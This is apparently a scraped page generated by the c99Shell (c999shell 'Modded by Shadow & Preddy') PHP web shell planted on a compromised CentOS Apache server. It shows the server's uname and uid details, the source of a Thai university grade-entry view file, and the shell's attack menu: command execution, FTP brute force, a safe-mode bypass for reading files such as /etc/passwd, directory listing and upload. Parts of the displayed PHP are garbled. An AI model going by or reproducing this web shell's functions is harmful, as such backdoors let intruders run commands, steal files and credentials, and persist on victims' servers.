!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addGradeTextarea.php (3.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."grade/processSendGradeTextarea", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td colspan="2" align="center"><font class="h" color="<?php echo $font_color_err;?>"><b>บันทึกส่งเกรด</b></font><br><br></td>
                </tr>
                <tr>
                    <td colspan="2">
                    <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td width="15%" height="22"><font size="2"><b>รายวิชา</b></font></td>
                            <td width="55%"><font size="2">: <?php echo (isset($qu_co)) ? $qu_co->row()->crsCode.' '.$qu_co->row()->crsName '';?></font>
                            <input type="hidden" name="coId" id="coId" value="<?php echo $coId;?>" />
                            <input type="hidden" name="clIdStr" id="clIdStr" value="<?php echo $clIdStr;?>" /></td>
                            <td width="15%"><font size="2"><b>กลุ่ม</b></font></td>
                            <td width="15%"><font size="2">: <?php echo ($view=="s") ? '-' : ((isset($qu_co)) ? $qu_co->row()->coSection '');?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="22"><font size="2"><b>หน่วยกิต</b></font></td>
                            <td><font size="2">: <?php echo isset($qu_co) ? $qu_co->row()->crsUnit '';?></font></td>
                            <td><font size="2"><b>ภาค/ปีการศึกษา</b></font></td>
                            <td><font size="2">: <?php echo isset($qu_co) ? $qu_co->row()->coTmId.'/'.$qu_co->row()->coAcY '';?></font>
                            <input type="hidden" name="tmId" value="<?php echo $qu_co->row()->coTmId;?>">
                            <input type="hidden" name="acY" value="<?php echo $qu_co->row()->coAcY;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="22"><font size="2"><b>อาจารย์ผู้สอน</b></font></td>
                            <td colspan="3"><font size="2">: <?php echo isset($qu_tt) ? $qu_tt->row()->prsName '';?></font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" height="22"></td>
                </tr>
                <tr>
                    <td><table width="70%" align="center">
                        <tr>
                            <td height="22"><font size="2" color="<?php echo $font_color_err;?>"><b>ตัวอย่างการกรอกแฟ้มข้อมูล</b></font></td>
                            <td><font size="2" color="<?php echo $font_color_err;?>"><b>คัดลอกข้อมูล วางที่ช่องนี้</b></font></td>
                        </tr>
                        <tr>
                            <td><img src="<?php echo base_url().$this->config->item("rg_grade");?>"></td>
                            <td><textarea name="txt" cols="30%" rows="15"></textarea></td>
                        </tr>
                        <tr>
                            <td colspan="2" align="center"><br><input type="submit" name="edit" id="edit" value="บันทึกเกรด" />
                            <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                            <input type="hidden" name="tc" id="tc" value="<?php echo $tc;?>" /></td>
                        </tr>
                    </table></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
    <tr>
        <td><table width="100%">
            <tr>
                <td height="22" colspan="10"><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ :</b></font></td>
            </tr>
<?php
$k 
0;
if(isset(
$rs_grd) && $rs_grd->num_rows()) {
    foreach(
$rs_grd->result() as $rowGrd) {
        if((
$k%5)==0)
            echo 
'<tr>';
?>
                <td height="22" align="right"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $rowGrd->grdGrade;?></font></td>
                <td><font size="2" color="<?php echo $font_color_err;?>"><?php echo ': '.$rowGrd->grdPoint.' ('.$rowGrd->grdDescription.')';?></font></td>
<?php
        $k
++;
    }
}
?>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--